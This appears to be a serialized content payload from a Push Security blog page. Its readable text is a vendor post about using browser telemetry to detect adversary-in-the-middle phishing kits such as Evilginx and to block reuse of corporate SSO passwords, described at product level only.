",{"id":165513,"publishedAt":170131},"2026-08-12T11:54:56.314Z",{"items":170133},[170134,170136],{"sys":170135,"name":342},{"id":4642},{"sys":170137,"name":7796},{"id":7795},{"items":170139},[170140,170142,170144,170146,170148,170150,170152,170154,170156,170158,170160,170162,170164,170166],{"sys":170141,"name":342,"slug":343,"tier":31},{"id":339},{"sys":170143,"name":279,"slug":280,"tier":31},{"id":276},{"sys":170145,"name":297,"slug":298,"tier":31},{"id":294},{"sys":170147,"name":413,"slug":414,"tier":31},{"id":410},{"sys":170149,"name":519,"slug":520,"tier":31},{"id":516},{"sys":170151,"name":351,"slug":352,"tier":45},{"id":348},{"sys":170153,"name":261,"slug":262,"tier":45},{"id":258},{"sys":170155,"name":324,"slug":325,"tier":45},{"id":321},{"sys":170157,"name":571,"slug":572,"tier":45},{"id":568},{"sys":170159,"name":422,"slug":423,"tier":45},{"id":419},{"sys":170161,"name":333,"slug":334,"tier":45},{"id":330},{"sys":170163,"name":624,"slug":625,"tier":45},{"id":621},{"sys":170165,"name":598,"slug":599,"tier":45},{"id":595},{"sys":170167,"name":377,"slug":378,"tier":45},{"id":374},"WqLI4ex55T2BBZsNDP_NW5IbAa7A2KBFIxwJtYqQAvc",{"id":170170,"title":126026,"authorsCollection":170171,"content":170176,"extension":228,"faqItemsCollection":170467,"faqTitle":59,"featured":6,"hashTags":59,"meta":170469,"metaTitle":170470,"ogImage":59,"postType":87741,"publishedDate":126028,"relatedBlogPostsCollection":170471,"slug":126029,"stem":172242,"subtitle":59,"summary":172243,"synopsis":126027,"sys":172268,"tagsCollection":172270,"topicsCollection":172276,"__hash__":172302},"blog/blog/detecting-and-blocking-phishing-attacks-in-the-browser.json",{"items":170172},[170173],{"fullName":4614,"firstName":4615,"jobTitle":4616,"socialLinks":170174,"profilePicture":170175},[23886],{"url":4618},{"json":170177,"links":170450},{"data":170178,"content":170179,"nodeType":1382},{},[170180,170186,170202,170215,170221,170227,170230,170236,170242,170290,170296,170301,170304,170310,170316,170322,170328,170334,170348,170353,170359,170365,170379,170384,170390,170396,170402,170408,170414,170417,170423,170439,170444],{"data":170181,"content":170182,"nodeType":981},{},[170183],{"data":170184,"marks":170185,"value":125724,"nodeType":865},{},[],{"data":170187,"content":170188,"nodeType":866},{},[170189,170192,170199],{"data":170190,"marks":170191,"value":125731,"nodeType":865},{},[],{"data":170193,"content":170194,"nodeType":889},{"uri":4788},[170195],{"data":170196,"marks":170197,"value":125739,"nodeType":865},{},[170198],{"type":943},{"data":170200,"marks":170201,"value":14251,"nodeType":865},{},[],{"data":170203,"content":170204,"nodeType":866},{},[170205,170208,170212],{"data":170206,"marks":170207,"value":125749,"nodeType":865},{},[],{"data":170209,"marks":170210,"value":125754,"nodeType":865},{},[170211],{"type":943},{"data":170213,"marks":170214,"value":125758,"nodeType":865},{},[],{"data":170216,"content":170217,"nodeType":866},{},[170218],{"data":170219,"marks":170220,"value":125765,"nodeType":865},{},[],{"data":170222,"content":170223,"nodeType":866},{},[170224],{"data":170225,"marks":170226,"value":125772,"nodeType":865},{},[],{"data":170228,"content":170229,"nodeType":972},{},[],{"data":170231,"content":170232,"nodeType":1317},{},[170233],{"data":170234,"marks":170235,"value":125782,"nodeType":865},{},[],{"data":170237,"content":170238,"nodeType":866},{},[170239],{"data":170240,"marks":170241,"value":125789,"nodeType":865},{},[],{"data":170243,"content":170244,"nodeType":1616},{},[170245,170254,170263,170272,170281],{"data":170246,"content":170247,"nodeType":1570},{},[170248],{"data":170249,"content":170250,"nodeType":866},{},[170251],{"data":170252,"marks":170253,"value":125802,"nodeType":865},{},[],{"data":170255,"content":170256,"nodeType":1570},{},[170257],{"data":170258,"content":170259,"nodeType":866},{},[170260],{"data":170261,"marks":170262,"value":125812,"nodeType":865},{},[],{"data":170264,"content":170265,"nodeType":1570},{},[170266],{"data":170267,"content":170268,"nodeType":866},{},[170269],{"data":170270,"marks":170271,"value":125822,"nodeType":865},{},[],{"data":170273,"content":170274,"nodeType":1570},{},[170275],{"data":170276,"content":170277,"nodeType":866},{},[170278],{"data":170279,"marks":170280,"value":125832,"nodeType":865},{},[],{"data":170282,"content":170283,"nodeType":1570},{},[170284],{"data":170285,"content":170286,"nodeType":866},{},[170287],{"data":170288,"marks":170289,"value":125842,"nodeType":865},{},[],{"data":170291,"content":170292,"nodeType":866},{},[170293],{"data":170294,"marks":170295,"value":125849,"nodeType":865},{},[],{"data":170297,"content":170300,"nodeType":912},{"target":170298},{"sys":170299},{"id":125854,"type":909,"linkType":910},[],{"data":170302,"content":170303,"nodeType":972},{},[],{"data":170305,"content":170306,"nodeType":1317},{},[170307],{"data":170308,"marks":170309,"value":125865,"nodeType":865},{},[],{"data":170311,"content":170312,"nodeType":866},{},[170313],{"data":170314,"marks":170315,"value":125872,"nodeType":865},{},[],{"data":170317,"content":170318,"nodeType":866},{},[170319],{"data":170320,"marks":170321,"value":125879,"nodeType":865},{},[],{"data":170323,"content":170324,"nodeType":866},{},[170325],{"data":170326,"marks":170327,"value":125886,"nodeType":865},{},[],{"data":170329,"content":170330,"nodeType":866},{},[170331],{"data":170332,"marks":170333,"value":125893,"nodeType":865},{},[],{"data":170335,"content":170336,"nodeType":1317},{},[170337,170340,170345],{"data":170338,"marks":170339,"value":125900,"nodeType":865},{},[],{"data":170341,"marks":170342,"value":125906,"nodeType":865},{},[170343,170344],{"type":943},{"type":926},{"data":170346,"marks":170347,"value":125910,"nodeType":865},{},[],{"data":170349,"content":170352,"nodeType":912},{"target":170350},{"sys":170351},{"id":125915,"type":909,"linkType":910},[],{"data":170354,"content":170355,"nodeType":866},{},[170356],{"data":170357,"marks":170358,"value":125923,"nodeType":865},{},[],{"data":170360,"content":170361,"nodeType":866},{},[170362],{"data":170363,"marks":170364,"value":125930,"nodeType":865},{},[],{"data":170366,"content":170367,"nodeType":1317},{},[170368,170371,170376],{"data":170369,"marks":170370,"value":125937,"nodeType":865},{},[],{"data":170372,"marks":170373,"value":1745,"nodeType":865},{},[170374,170375],{"type":943},{"type":926},{"data":170377,"marks":170378,"value":125946,"nodeType":865},{},[],{"data":170380,"content":170383,"nodeType":912},{"target":170381},{"sys":170382},{"id":125951,"type":909,"linkType":910},[],{"data":170385,"content":170386,"nodeType":866},{},[170387],{"data":170388,"marks":170389,"value":125959,"nodeType":865},{},[],{"data":170391,"content":170392,"nodeType":866},{},[170393],{"data":170394,"marks":170395,"value":125966,"nodeType":865},{},[],{"data":170397,"content":170398,"nodeType":866},{},[170399],{"data":170400,"marks":170401,"value":125973,"nodeType":865},{},[],{"data":170403,"content":170404,"nodeType":866},{},[170405],{"data":170406,"marks":170407,"value":125980,"nodeType":865},{},[],{"data":170409,"content":170410,"nodeType":866},{},[170411],{"data":170412,"marks":170413,"value":125987,"nodeType":865},{},[],{"data":170415,"content":170416,"nodeType":972},{},[],{"data":170418,"content":170419,"nodeType":981},{},[170420],{"data":170421,"marks":170422,"value":105586,"nodeType":865},{},[],{"data":170424,"content":170425,"nodeType":866},{},[170426,170429,170436],{"data":170427,"marks":170428,"value":126003,"nodeType":865},{},[],{"data":170430,"content":170431,"nodeType":889},{"uri":16069},[170432],{"data":170433,"marks":170434,"value":105607,"nodeType":865},{},[170435],{"type":943},{"data":170437,"marks":170438,"value":113401,"nodeType":865},{},[],{"data":170440,"content":170443,"nodeType":912},{"target":170441},{"sys":170442},{"id":126018,"type":909,"linkType":910},[],{"data":170445,"content":170446,"nodeType":866},{},[170447],{"data":170448,"marks":170449,"value":21,"nodeType":865},{},[],{"entries":170451},{"hyperlink":170452,"inline":170453,"block":170454},[],[],[170455,170458,170461,170464],{"sys":170456,"__typename":1414,"type":1415,"ctaText":170457,"buttonLabel":68733,"buttonColour":114626,"buttonUrl":119812},{"id":125854},"Scattered Spider have been observed using AiTM phish kits and detection evasion techniques in 2025. Learn about their TTP evolution in our new webinar.",{"sys":170459,"__typename":1390,"title":142237,"caption":142238,"layoutMode":59,"file":170460},{"id":125915},{"url":142240,"width":142241,"height":142242},{"sys":170462,"__typename":1390,"title":142245,"caption":142246,"layoutMode":59,"file":170463},{"id":125951},{"url":142248,"width":142241,"height":142242},{"sys":170465,"__typename":1414,"type":1415,"ctaText":170466,"buttonLabel":131401,"buttonColour":1418,"buttonUrl":113803},{"id":126018},"Forget email or network controls — find out why the browser is best when it comes to detecting and blocking phishing attacks in real time.",{"items":170468},[],{},"How Push detects and blocks phishing attacks in the browser",{"items":170472},[170473,171045,171824],{"__typename":1429,"sys":170474,"content":170475,"title":125392,"synopsis":125393,"hashTags":59,"publishedDate":125394,"slug":125395,"tagsCollection":171035,"authorsCollection":171041},{"id":124749},{"json":170476},{"data":170477,"content":170478,"nodeType":1382},{},[170479,170485,170491,170497,170500,170507,170513,170529,170559,170564,170580,170585,170605,170608,170615,170621,170634,170647,170652,170658,170664,170669,170682,170685,170692,170698,170704,170710,170716,170719,170726,170732,170738,170754,170760,170767,170806,170812,170817,170823,170828,170834,170837,170844,170857,170863,170897,170907,170910,170917,170923,170929,170959,170965,170982,170987,170992,170995,171002,171008,171024,171029],{"data":170480,"content":170481,"nodeType":866},{},[170482],{"data":170483,"marks":170484,"value":124760,"nodeType":865},{},[],{"data":170486,"content":170487,"nodeType":866},{},[170488],{"data":170489,"marks":170490,"value":124767,"nodeType":865},{},[],{"data":170492,"content":170493,"nodeType":866},{},[170494],{"data":170495,"marks":170496,"value":124774,"nodeType":865},{},[],{"data":170498,"content":170499,"nodeType":972},{},[],{"data":170501,"content":170502,"nodeType":981},{},[170503],{"data":170504,"marks":170505,"value":124785,"nodeType":865},{},[170506],{"type":926},{"data":170508,"content":170509,"nodeType":866},{},[170510],{"data":170511,"marks":170512,"value":124792,"nodeType":865},{},[],{"data":170514,"content":170515,"nodeType":866},{},[170516,170519,170526],{"data":170517,"marks":170518,"value":124799,"nodeType":865},{},[],{"data":170520,"content":170521,"nodeType":889},{"uri":123592},[170522],{"data":170523,"marks":170524,"value":124807,"nodeType":865},{},[170525],{"type":943},{"data":170527,"marks":170528,"value":124811,"nodeType":865},{},[],{"data":170530,"content":170531,"nodeType":1616},{},[170532,170541,170550],{"data":170533,"content":170534,"nodeType":1570},{},[170535],{"data":170536,"content":170537,"nodeType":866},{},[170538],{"data":170539,"marks":170540,"value":124824,"nodeType":865},{},[],{"data":170542,"content":170543,"nodeType":1570},{},[170544],{"data":170545,"content":170546,"nodeType":866},{},[170547],{"data":170548,"marks":170549,"value":124834,"nodeType":865},{},[],{"data":170551,"content":170552,"nodeType":1570},{},[170553],{"data":170554,"content":170555,"nodeType":866},{},[170556],{"data":170557,"marks":170558,"value":124844,"nodeType":865},{},[],{"data":170560,"content":170563,"nodeType":912},{"target":170561},{"sys":170562},{"id":124849,"type":909,"linkType":910},[],{"data":170565,"content":170566,"nodeType":866},{},[170567,170570,170577],{"data":170568,"marks":170569,"value":124857,"nodeType":865},{},[],{"data":170571,"content":170572,"nodeType":889},{"uri":124860},[170573],{"data":170574,"marks":170575,"value":124866,"nodeType":865},{},[170576],{"type":943},{"data":170578,"marks":170579,"value":124870,"nodeType":865},{},[],{"data":170581,"content":170584,"nodeType":912},{"target":170582},{"sys":170583},{"id":124875,"type":909,"linkType":910},[],{"data":170586,"content":170587,"nodeType":866},{},[170588,170591,170595,170598,170602],{"data":170589,"marks":170590,"value":124883,"nodeType":865},{},[],{"data":170592,"marks":170593,"value":124888,"nodeType":865},{},[170594],{"type":926},{"data":170596,"marks":170597,"value":124892,"nodeType":865},{},[],{"data":170599,"marks":170600,"value":124897,"nodeType":865},{},[170601],{"type":926},{"data":170603,"marks":170604,"value":124901,"nodeType":865},{},[],{"data":170606,"content":170607,"nodeType":972},{},[],{"data":170609,"content":170610,"nodeType":981},{},[170611],{"data":170612,"marks":170613,"value":124912,"nodeType":865},{},[170614],{"type":926},{"data":170616,"content":170617,"nodeType":866},{},[170618],{"data":170619,"marks":170620,"value":124919,"nodeType":865},{},[],{"data":170622,"content":170623,"nodeType":866},{},[170624,170627,170631],{"data":170625,"marks":170626,"value":124926,"nodeType":865},{},[],{"data":170628,"marks":170629,"value":5116,"nodeType":865},{},[170630],{"type":898},{"data":170632,"marks":170633,"value":124934,"nodeType":865},{},[],{"data":170635,"content":170636,"nodeType":866},{},[170637,170640,170644],{"data":170638,"marks":170639,"value":124941,"nodeType":865},{},[],{"data":170641,"marks":170642,"value":124946,"nodeType":865},{},[170643],{"type":926},{"data":170645,"marks":170646,"value":14251,"nodeType":865},{},[],{"data":170648,"content":170651,"nodeType":912},{"target":170649},{"sys":170650},{"id":124954,"type":909,"linkType":910},[],{"data":170653,"content":170654,"nodeType":866},{},[170655],{"data":170656,"marks":170657,"value":124962,"nodeType":865},{},[],{"data":170659,"content":170660,"nodeType":866},{},[170661],{"data":170662,"marks":170663,"value":124969,"nodeType":865},{},[],{"data":170665,"content":170668,"nodeType":912},{"target":170666},{"sys":170667},{"id":124974,"type":909,"linkType":910},[],{"data":170670,"content":170671,"nodeType":866},{},[170672,170675,170679],{"data":170673,"marks":170674,"value":124982,"nodeType":865},{},[],{"data":170676,"marks":170677,"value":124987,"nodeType":865},{},[170678],{"type":926},{"data":170680,"marks":170681,"value":124991,"nodeType":865},{},[],{"data":170683,"content":170684,"nodeType":972},{},[],{"data":170686,"content":170687,"nodeType":981},{},[170688],{"data":170689,"marks":170690,"value":125002,"nodeType":865},{},[170691],{"type":926},{"data":170693,"content":170694,"nodeType":866},{},[170695],{"data":170696,"marks":170697,"value":125009,"nodeType":865},{},[],{"data":170699,"content":170700,"nodeType":866},{},[170701],{"data":170702,"marks":170703,"value":125016,"nodeType":865},{},[],{"data":170705,"content":170706,"nodeType":866},{},[170707],{"data":170708,"marks":170709,"value":125023,"nodeType":865},{},[],{"data":170711,"content":170712,"nodeType":866},{},[170713],{"data":170714,"marks":170715,"value":125030,"nodeType":865},{},[],{"data":170717,"content":170718,"nodeType":972},{},[],{"data":170720,"content":170721,"nodeType":981},{},[170722],{"data":170723,"marks":170724,"value":125041,"nodeType":865},{},[170725],{"type":926},{"data":170727,"content":170728,"nodeType":866},{},[170729],{"data":170730,"marks":170731,"value":125048,"nodeType":865},{},[],{"data":170733,"content":170734,"nodeType":866},{},[170735],{"data":170736,"marks":170737,"value":125055,"nodeType":865},{},[],{"data":170739,"content":170740,"nodeType":866},{},[170741,170744,170751],{"data":170742,"marks":170743,"value":125062,"nodeType":865},{},[],{"data":170745,"content":170746,"nodeType":889},{"uri":125065},[170747],{"data":170748,"marks":170749,"value":125071,"nodeType":865},{},[170750],{"type":943},{"data":170752,"marks":170753,"value":125075,"nodeType":865},{},[],{"data":170755,"content":170756,"nodeType":866},{},[170757],{"data":170758,"marks":170759,"value":125082,"nodeType":865},{},[],{"data":170761,"content":170762,"nodeType":866},{},[170763],{"data":170764,"marks":170765,"value":125090,"nodeType":865},{},[170766],{"type":926},{"data":170768,"content":170769,"nodeType":1616},{},[170770,170779,170788,170797],{"data":170771,"content":170772,"nodeType":1570},{},[170773],{"data":170774,"content":170775,"nodeType":866},{},[170776],{"data":170777,"marks":170778,"value":110549,"nodeType":865},{},[],{"data":170780,"content":170781,"nodeType":1570},{},[170782],{"data":170783,"content":170784,"nodeType":866},{},[170785],{"data":170786,"marks":170787,"value":125112,"nodeType":865},{},[],{"data":170789,"content":170790,"nodeType":1570},{},[170791],{"data":170792,"content":170793,"nodeType":866},{},[170794],{"data":170795,"marks":170796,"value":125122,"nodeType":865},{},[],{"data":170798,"content":170799,"nodeType":1570},{},[170800],{"data":170801,"content":170802,"nodeType":866},{},[170803],{"data":170804,"marks":170805,"value":125132,"nodeType":865},{},[],{"data":170807,"content":170808,"nodeType":866},{},[170809],{"data":170810,"marks":170811,"value":125139,"nodeType":865},{},[],{"data":170813,"content":170816,"nodeType":912},{"target":170814},{"sys":170815},{"id":125144,"type":909,"linkType":910},[],{"data":170818,"content":170819,"nodeType":866},{},[170820],{"data":170821,"marks":170822,"value":125152,"nodeType":865},{},[],{"data":170824,"content":170827,"nodeType":912},{"target":170825},{"sys":170826},{"id":125157,"type":909,"linkType":910},[],{"data":170829,"content":170830,"nodeType":866},{},[170831],{"data":170832,"marks":170833,"value":125165,"nodeType":865},{},[],{"data":170835,"content":170836,"nodeType":972},{},[],{"data":170838,"content":170839,"nodeType":981},{},[170840],{"data":170841,"marks":170842,"value":125176,"nodeType":865},{},[170843],{"type":926},{"data":170845,"content":170846,"nodeType":866},{},[170847,170850,170854],{"data":170848,"marks":170849,"value":125183,"nodeType":865},{},[],{"data":170851,"marks":170852,"value":125188,"nodeType":865},{},[170853],{"type":926},{"data":170855,"marks":170856,"value":14251,"nodeType":865},{},[],{"data":170858,"content":170859,"nodeType":866},{},[170860],{"data":170861,"marks":170862,"value":125198,"nodeType":865},{},[],{"data":170864,"content":170865,"nodeType":866},{},[170866,170869,170873,170876,170880,170883,170887,170890,170894],{"data":170867,"marks":170868,"value":125205,"nodeType":865},{},[],{"data":170870,"marks":170871,"value":125210,"nodeType":865},{},[170872],{"type":926},{"data":170874,"marks":170875,"value":125214,"nodeType":865},{},[],{"data":170877,"marks":170878,"value":125219,"nodeType":865},{},[170879],{"type":926},{"data":170881,"marks":170882,"value":125223,"nodeType":865},{},[],{"data":170884,"marks":170885,"value":125219,"nodeType":865},{},[170886],{"type":926},{"data":170888,"marks":170889,"value":125231,"nodeType":865},{},[],{"data":170891,"marks":170892,"value":125236,"nodeType":865},{},[170893],{"type":926},{"data":170895,"marks":170896,"value":125240,"nodeType":865},{},[],{"data":170898,"content":170899,"nodeType":866},{},[170900,170903],{"data":170901,"marks":170902,"value":125247,"nodeType":865},{},[],{"data":170904,"marks":170905,"value":125252,"nodeType":865},{},[170906],{"type":926},{"data":170908,"content":170909,"nodeType":972},{},[],{"data":170911,"content":170912,"nodeType":981},{},[170913],{"data":170914,"marks":170915,"value":125263,"nodeType":865},{},[170916],{"type":926},{"data":170918,"content":170919,"nodeType":866},{},[170920],{"data":170921,"marks":170922,"value":125270,"nodeType":865},{},[],{"data":170924,"content":170925,"nodeType":866},{},[170926],{"data":170927,"marks":170928,"value":125277,"nodeType":865},{},[],{"data":170930,"content":170931,"nodeType":1616},{},[170932,170941,170950],{"data":170933,"content":170934,"nodeType":1570},{},[170935],{"data":170936,"content":170937,"nodeType":866},{},[170938],{"data":170939,"marks":170940,"value":125290,"nodeType":865},{},[],{"data":170942,"content":170943,"nodeType":1570},{},[170944],{"data":170945,"content":170946,"nodeType":866},{},[170947],{"data":170948,"marks":170949,"value":125300,"nodeType":865},{},[],{"data":170951,"content":170952,"nodeType":1570},{},[170953],{"data":170954,"content":170955,"nodeType":866},{},[170956],{"data":170957,"marks":170958,"value":125310,"nodeType":865},{},[],{"data":170960,"content":170961,"nodeType":866},{},[170962],{"data":170963,"marks":170964,"value":125317,"nodeType":865},{},[],{"data":170966,"content":170967,"nodeType":866},{},[170968,170972,170979],{"data":170969,"marks":170970,"value":125325,"nodeType":865},{},[170971],{"type":926},{"data":170973,"content":170974,"nodeType":889},{"uri":125328},[170975],{"data":170976,"marks":170977,"value":125334,"nodeType":865},{},[170978],{"type":943},{"data":170980,"marks":170981,"value":21,"nodeType":865},{},[],{"data":170983,"content":170986,"nodeType":912},{"target":170984},{"sys":170985},{"id":123799,"type":909,"linkType":910},[],{"data":170988,"content":170991,"nodeType":912},{"target":170989},{"sys":170990},{"id":125347,"type":909,"linkType":910},[],{"data":170993,"content":170994,"nodeType":972},{},[],{"data":170996,"content":170997,"nodeType":981},{},[170998],{"data":170999,"marks":171000,"value":34483,"nodeType":865},{},[171001],{"type":926},{"data":171003,"content":171004,"nodeType":866},{},[171005],{"data":171006,"marks":171007,"value":124090,"nodeType":865},{},[],{"data":171009,"content":171010,"nodeType":866},{},[171011,171014,171021],{"data":171012,"marks":171013,"value":104093,"nodeType":865},{},[],{"data":171015,"content":171016,"nodeType":889},{"uri":124099},[171017],{"data":171018,"marks":171019,"value":11405,"nodeType":865},{},[171020],{"type":943},{"data":171022,"marks":171023,"value":1615,"nodeType":865},{},[],{"data":171025,"content":171028,"nodeType":912},{"target":171026},{"sys":171027},{"id":123415,"type":909,"linkType":910},[],{"data":171030,"content":171031,"nodeType":866},{},[171032],{"data":171033,"marks":171034,"value":21,"nodeType":865},{},[],{"items":171036},[171037,171039],{"sys":171038,"name":342},{"id":4642},{"sys":171040,"name":7796},{"id":7795},{"items":171042},[171043],{"fullName":7800,"firstName":7801,"jobTitle":7802,"profilePicture":171044},{"url":7804},{"__typename":1429,"sys":171046,"content":171048,"title":171810,"synopsis":171811,"hashTags":59,"publishedDate":171812,"slug":171813,"tagsCollection":171814,"authorsCollection":171820},{"id":171047},"20FcoPvHu7zXkTQyv9MmK0",{"json":171049},{"data":171050,"content":171051,"nodeType":1382},{},[171052,171058,171065,171116,171123,171130,171145,171152,171159,171239,171246,171251,171258,171265,171280,171287,171293,171316,171338,171343,171362,171368,171375,171405,171412,171419,171425,171442,171448,171455,171462,171469,171475,171493,171500,171507,171514,171521,171527,171544,171550,171557,171563,171580,171587,171594,171601,171643,171650,171720,171735,171741,171748,171755,171762,171769,171787,171793],{"data":171053,"content":171057,"nodeType":912},{"target":171054},{"sys":171055},{"id":171056,"type":909,"linkType":910},"7rud2H1hcTAOhxh9zHzxP6",[],{"data":171059,"content":171060,"nodeType":866},{},[171061],{"data":171062,"marks":171063,"value":171064,"nodeType":865},{},[],"If someone asked you where you work, you probably wouldn’t answer, “My browser.” But that would be the truth.",{"data":171066,"content":171067,"nodeType":866},{},[171068,171072,171080,171083,171091,171094,171101,171104,171112],{"data":171069,"marks":171070,"value":171071,"nodeType":865},{},[],"(Threat actors already know where you work, of course, and they’ve been capitalizing on the massive shift to cloud-based workforces. Just look at any of the ",{"data":171073,"content":171075,"nodeType":889},{"uri":171074},"https://www.crowdstrike.com/global-threat-report/",[171076],{"data":171077,"marks":171078,"value":171079,"nodeType":865},{},[],"latest",{"data":171081,"marks":171082,"value":2688,"nodeType":865},{},[],{"data":171084,"content":171086,"nodeType":889},{"uri":171085},"https://redcanary.com/threat-detection-report/techniques/cloud-accounts/",[171087],{"data":171088,"marks":171089,"value":171090,"nodeType":865},{},[],"threat",{"data":171092,"marks":171093,"value":2688,"nodeType":865},{},[],{"data":171095,"content":171096,"nodeType":889},{"uri":1063},[171097],{"data":171098,"marks":171099,"value":171100,"nodeType":865},{},[],"research",{"data":171102,"marks":171103,"value":2688,"nodeType":865},{},[],{"data":171105,"content":171107,"nodeType":889},{"uri":171106},"https://www.lab539.com/blog/6-months-tracking-aitm-campaigns",[171108],{"data":171109,"marks":171110,"value":171111,"nodeType":865},{},[],"reports",{"data":171113,"marks":171114,"value":171115,"nodeType":865},{},[]," on identity-based attacks to see how good a job they’ve been doing.)",{"data":171117,"content":171118,"nodeType":866},{},[171119],{"data":171120,"marks":171121,"value":171122,"nodeType":865},{},[],"To get visibility of your infrastructure in order to build a strong detection and response program, the equation used to look something like:",{"data":171124,"content":171125,"nodeType":866},{},[171126],{"data":171127,"marks":171128,"value":171129,"nodeType":865},{},[],"Network traffic + Logs + Endpoints = Profit!",{"data":171131,"content":171132,"nodeType":866},{},[171133,171137,171142],{"data":171134,"marks":171135,"value":171136,"nodeType":865},{},[],"But now there’s a missing piece, as identity infrastructure sprawls across IdPs, core apps, shadow SaaS and third-party integrations: ",{"data":171138,"marks":171139,"value":171141,"nodeType":865},{},[171140],{"type":926},"Browser telemetry",{"data":171143,"marks":171144,"value":1615,"nodeType":865},{},[],{"data":171146,"content":171147,"nodeType":866},{},[171148],{"data":171149,"marks":171150,"value":171151,"nodeType":865},{},[],"As a browser agent, Push is uniquely positioned to provide telemetry you can’t easily get anywhere else. We believe that this missing piece is the key to stopping identity attacks by providing the context both for first-class detections and security controls, as well as key correlations for events you observe in traditional log sources.",{"data":171153,"content":171154,"nodeType":866},{},[171155],{"data":171156,"marks":171157,"value":171158,"nodeType":865},{},[],"Now we have a better way to bring Push’s data to life to solve meaningful security challenges:",{"data":171160,"content":171161,"nodeType":1616},{},[171162,171191],{"data":171163,"content":171164,"nodeType":1570},{},[171165],{"data":171166,"content":171167,"nodeType":866},{},[171168,171173,171177,171187],{"data":171169,"marks":171170,"value":171172,"nodeType":865},{},[171171],{"type":926},"Plug-and-play security controls",{"data":171174,"marks":171175,"value":171176,"nodeType":865},{},[],", accessible from the new ",{"data":171178,"content":171182,"nodeType":33606},{"target":171179},{"sys":171180},{"id":171181,"type":909,"linkType":910},"BtDLgVZRWQ3Ov4WgDQX1W",[171183],{"data":171184,"marks":171185,"value":136538,"nodeType":865},{},[171186],{"type":926},{"data":171188,"marks":171189,"value":171190,"nodeType":865},{},[]," page in the Push platform",{"data":171192,"content":171193,"nodeType":1570},{},[171194],{"data":171195,"content":171196,"nodeType":866},{},[171197,171202,171206,171213,171216,171223,171227,171235],{"data":171198,"marks":171199,"value":171201,"nodeType":865},{},[171200],{"type":926},"Choose-your-own-adventure tooling",{"data":171203,"marks":171204,"value":171205,"nodeType":865},{},[],", including a ",{"data":171207,"content":171208,"nodeType":889},{"uri":168173},[171209],{"data":171210,"marks":171211,"value":171212,"nodeType":865},{},[],"REST API",{"data":171214,"marks":171215,"value":2717,"nodeType":865},{},[],{"data":171217,"content":171218,"nodeType":889},{"uri":126491},[171219],{"data":171220,"marks":171221,"value":171222,"nodeType":865},{},[],"webhooks",{"data":171224,"marks":171225,"value":171226,"nodeType":865},{},[],", and a new ",{"data":171228,"content":171230,"nodeType":889},{"uri":171229},"/help/audience/administrators/docs/connect-to-siem-or-soar/#using-the-events-page",[171231],{"data":171232,"marks":171233,"value":58511,"nodeType":865},{},[171234],{"type":926},{"data":171236,"marks":171237,"value":171238,"nodeType":865},{},[]," page to help you visualize and build custom detections and automations.",{"data":171240,"content":171241,"nodeType":866},{},[171242],{"data":171243,"marks":171244,"value":171245,"nodeType":865},{},[],"Let’s take a closer look.",{"data":171247,"content":171250,"nodeType":912},{"target":171248},{"sys":171249},{"id":161934,"type":909,"linkType":910},[],{"data":171252,"content":171253,"nodeType":981},{},[171254],{"data":171255,"marks":171256,"value":171257,"nodeType":865},{},[],"Plug-and-play controls",{"data":171259,"content":171260,"nodeType":866},{},[171261],{"data":171262,"marks":171263,"value":171264,"nodeType":865},{},[],"Security visibility without security control is a recipe for a stress headache, so we’re big believers in providing meaningful interventions that are easy to use.",{"data":171266,"content":171267,"nodeType":866},{},[171268,171272,171276],{"data":171269,"marks":171270,"value":171271,"nodeType":865},{},[],"With the new ",{"data":171273,"marks":171274,"value":136538,"nodeType":865},{},[171275],{"type":926},{"data":171277,"marks":171278,"value":171279,"nodeType":865},{},[]," page in the Push admin console, you can now find these preconfigured detections and interventions in one place. They cover use cases that any organization can benefit from, and take a unique browser-based approach to solving some thorny issues.",{"data":171281,"content":171282,"nodeType":866},{},[171283],{"data":171284,"marks":171285,"value":171286,"nodeType":865},{},[],"These controls include:",{"data":171288,"content":171289,"nodeType":1317},{},[171290],{"data":171291,"marks":171292,"value":79859,"nodeType":865},{},[],{"data":171294,"content":171295,"nodeType":866},{},[171296,171300,171305,171308,171313],{"data":171297,"marks":171298,"value":171299,"nodeType":865},{},[],"Detect and block when employees visit webpages that use advanced phishing tools such as Evilginx or EvilNoVNC, among others. These adversary-in-the-middle (AitM) toolkits can mimic legitimate login screens, such as an Okta login page, to steal ",{"data":171301,"marks":171302,"value":171304,"nodeType":865},{},[171303],{"type":926},"credentials",{"data":171306,"marks":171307,"value":4988,"nodeType":865},{},[],{"data":171309,"marks":171310,"value":171312,"nodeType":865},{},[171311],{"type":926},"MFA codes",{"data":171314,"marks":171315,"value":1615,"nodeType":865},{},[],{"data":171317,"content":171318,"nodeType":866},{},[171319,171323,171327,171330,171334],{"data":171320,"marks":171321,"value":171322,"nodeType":865},{},[],"Push emits a webhook event when the browser agent detects attributes of these malware. You can also set Push to ",{"data":171324,"marks":171325,"value":58533,"nodeType":865},{},[171326],{"type":926},{"data":171328,"marks":171329,"value":53880,"nodeType":865},{},[],{"data":171331,"marks":171332,"value":58541,"nodeType":865},{},[171333],{"type":926},{"data":171335,"marks":171336,"value":171337,"nodeType":865},{},[]," mode to display a customizable message to end-users when they encounter a phishing site.",{"data":171339,"content":171342,"nodeType":912},{"target":171340},{"sys":171341},{"id":155838,"type":909,"linkType":910},[],{"data":171344,"content":171345,"nodeType":866},{},[171346,171350,171359],{"data":171347,"marks":171348,"value":171349,"nodeType":865},{},[],"More about ",{"data":171351,"content":171354,"nodeType":33606},{"target":171352},{"sys":171353},{"id":57941,"type":909,"linkType":910},[171355],{"data":171356,"marks":171357,"value":171358,"nodeType":865},{},[],"phishing tool detection",{"data":171360,"marks":171361,"value":21,"nodeType":865},{},[],{"data":171363,"content":171364,"nodeType":1317},{},[171365],{"data":171366,"marks":171367,"value":131656,"nodeType":865},{},[],{"data":171369,"content":171370,"nodeType":866},{},[171371],{"data":171372,"marks":171373,"value":171374,"nodeType":865},{},[],"Prevent employees from reusing their corporate SSO password on any page that doesn’t belong to the identity provider, including phishing sites. This means that even if that employee was the first person to get phished using a new attacker site, Push still detects it and blocks it.",{"data":171376,"content":171377,"nodeType":866},{},[171378,171382,171386,171389,171393,171397,171401],{"data":171379,"marks":171380,"value":171381,"nodeType":865},{},[],"Customize the message that end-users see in ",{"data":171383,"marks":171384,"value":58533,"nodeType":865},{},[171385],{"type":926},{"data":171387,"marks":171388,"value":53880,"nodeType":865},{},[],{"data":171390,"marks":171391,"value":58541,"nodeType":865},{},[171392],{"type":926},{"data":171394,"marks":171395,"value":171396,"nodeType":865},{},[]," mode, or start out in 